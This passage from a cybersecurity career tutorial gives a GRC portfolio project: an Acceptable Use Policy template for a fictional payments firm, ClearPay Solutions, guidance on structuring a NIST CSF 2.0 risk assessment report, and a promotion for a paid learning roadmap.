In interviews, lead with R-001: "The most critical finding was no MFA on production database admin accounts — risk score 20 out of 25. This is a $0 fix that reduces the risk score to under 5 when implemented. That's the kind of win you prioritize first in GRC." Showing you can prioritize business impact is what separates GRC candidates.

PROJECT 03 — GRC

Step 5 — Acceptable Use Policy (Full Template)

Every organization needs an AUP. Writing one from scratch is how you demonstrate you understand governance, not just risk scoring. Use and adapt this template.

ClearPay Solutions

Acceptable Use Policy (AUP)

Version 1.0 | Effective Date: [Date] | Review Date: [Date + 1 Year]
Owner: [CISO / IT Manager] | Approved by: [CEO]

1. Purpose

This policy defines the acceptable use of ClearPay Solutions' information assets, including systems, networks, devices, and data. It applies to all employees, contractors, and third parties with access to company resources. The intent is to protect ClearPay's information assets and ensure compliance with applicable laws and regulations.

2. Scope

This policy applies to all hardware, software, networks, and data owned or managed by ClearPay Solutions, including cloud services (AWS, Google Workspace), employee-owned devices used for company work (BYOD), and third-party systems connected to ClearPay infrastructure.

3. Acceptable Use

Company resources may be used for legitimate business purposes. Incidental personal use is permitted provided it does not: consume excessive resources, compromise security, create legal liability, or conflict with this policy. Permitted uses include:

- Business communication via approved tools (email, Slack, Google Meet)
- Access to business systems and data required for job responsibilities
- Limited personal use that does not interfere with work performance

4. Prohibited Activities

The following are strictly prohibited:

- Unauthorized access to or disclosure of customer data or other employees' data
- Installing unlicensed software or tools not approved by IT
- Sharing login credentials or using another person's account
- Disabling security software (antivirus, endpoint protection, MDM) on company devices
- Storing customer PII or payment data outside approved systems
- Connecting personal storage devices (USB drives) without IT approval
- Using company systems for illegal activities or transmitting harmful content
- Bypassing or disabling security controls without written authorization

5. Security Responsibilities

- All employees must complete the annual security awareness training within 30 days of hire and annually thereafter
- Employees must report suspected security incidents to IT within 1 hour of discovery
- All accounts accessing company systems must use MFA where supported
- Employees working remotely must use the company VPN when accessing internal systems
- Lost or stolen devices must be reported to IT immediately

6. Data Classification

Classification	Definition	Handling
Confidential	Customer PII, payment data, credentials	Encrypted at rest and in transit. Access limited to authorized personnel only.
Internal	Business plans, internal communications, source code	Not for external sharing without approval. May be shared internally.
Public	Marketing materials, published documentation	No restrictions.

7. Enforcement

Violations of this policy may result in disciplinary action up to and including termination of employment, and may be referred to law enforcement where applicable. IT reserves the right to monitor company systems for policy compliance with reasonable notice.

8. Policy Review

This policy will be reviewed annually or following a significant security incident, change in regulatory requirements, or major change to company operations.

Approved by: _____ (CEO) **Date:** _____

I acknowledge that I have read, understand, and agree to comply with this policy:

Employee signature: _____ Date: _____

PROJECT 03 — GRC

Step 6 — Assembling the Final Report

The individual components you've built — asset inventory, risk register, gap analysis, treatment plan, and AUP — become sections of a single cohesive report. Here's how to structure it:

Section 1: Executive Summary (1 page)

Key findings for leadership. State the highest risks, the business impact in plain language, and the top 3 recommended actions. Example: "Three critical risks were identified that expose customer payment data. All three have a remediation cost of zero using existing AWS tooling. Immediate action on R-001 (MFA enforcement) is the single highest-impact step."

Section 2: Scope, Methodology & Framework

State what was assessed, what was out of scope, who conducted the assessment, and that the findings are structured against NIST CSF 2.0. This section establishes credibility and gives the reader context before the findings.

Section 3: Asset Inventory

Your completed A-001 through A-008 table. Assets establish what the organization is protecting — this is what risk entries reference.

Section 4: Risk Register

The full scored risk register with likelihood, impact, score, and risk level. Include your scoring formula and legend. This is the core deliverable most GRC stakeholders want to see.

Section 5: NIST CSF 2.0 Gap Analysis

Current state vs. target state for all six functions. Include a summary heatmap or traffic-light table showing red/yellow/green for each function.

Section 6: Risk Treatment Plan

All eight risks with treatment option, action required, owner, timeline, and cost estimate. This is what the client actually implements — it's the "so what now?" of the whole assessment.

Appendix A: Acceptable Use Policy

The completed AUP template, ready for signature. Including one policy document shows you can produce governance artifacts, not just assessment documents.

ℹ FINAL REPORT FORMATTING TIPS

Export as PDF. Use a title page with the company name, assessment date, and "Prepared by [Your Name]." Add page numbers and a footer with "CONFIDENTIAL — ClearPay Solutions." Keep the total report under 25 pages. Longer is not better in GRC — concise, actionable findings are what practitioners respect.

✓ HOW TO ADAPT THIS FOR YOUR PORTFOLIO

Change ClearPay to a different industry and rebuild the risk register from scratch. A clinic (HIPAA-adjacent), a logistics company (supply chain risks), or an EdTech startup (student data) each produces a different risk profile. Three versions = three portfolio pieces, each showing you understand domain-specific risk.

YOU'VE GOT THE PROJECTS — NOW GET THE ROADMAP

Ready to go deeper on your chosen track?

These three projects will get you further than most candidates with six months of tutorial content. When you're ready to structure the full learning path — tools, certs, labs, and job-search strategy — the 90-Day Cybersecurity Roadmap has all three tracks built out end to end.

The 90-Day Roadmap covers:

- Red Team Track — From enumeration to privilege escalation
- Blue Team Track — SOC tools, SIEM, threat hunting, IR
- GRC Track — Frameworks, compliance, audit readiness
- Week-by-week structure — no more guessing what to study next
- Resource lists, lab recommendations, and cert guidance

Get the 90-Day Roadmap on Topmate

topmate.io/shlesha

Shlesha | Mechanical engineer turned to cybersecurity career path.
TryHackMe Top 2% | CC Certified | VAPT Experience